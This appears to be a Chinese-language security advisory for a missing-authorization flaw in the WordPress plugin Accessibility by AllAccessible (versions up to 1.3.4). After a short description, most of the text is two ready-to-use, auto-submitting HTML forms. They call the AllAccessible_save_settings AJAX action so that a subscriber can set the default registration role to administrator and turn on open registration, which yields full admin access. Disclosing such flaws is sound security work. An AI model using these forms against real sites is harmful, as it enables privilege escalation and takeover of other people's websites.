Accessibility by AllAccessible <= 1.3.4 - 授权缺失导致认证用户(订阅者+)可任意更新选项
WordPress 的 Accessibility by AllAccessible 插件在版本 1.3.4 及之前的所有版本中,由于 AllAccessible_save_settings 函数缺少权限检查,可能导致数据被未经授权修改,进而引发权限提升。这使得通过身份验证的攻击者(至少拥有订阅者级别权限)能够更新 WordPress 站点上的任意选项。攻击者可利用此漏洞将默认注册角色更新为管理员,并启用用户注册,从而获得对易受攻击站点的管理员访问权限。
以订阅者身份登录,然后使用以下表单将默认角色设置为管理员,再使用第二个表单启用用户注册。
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>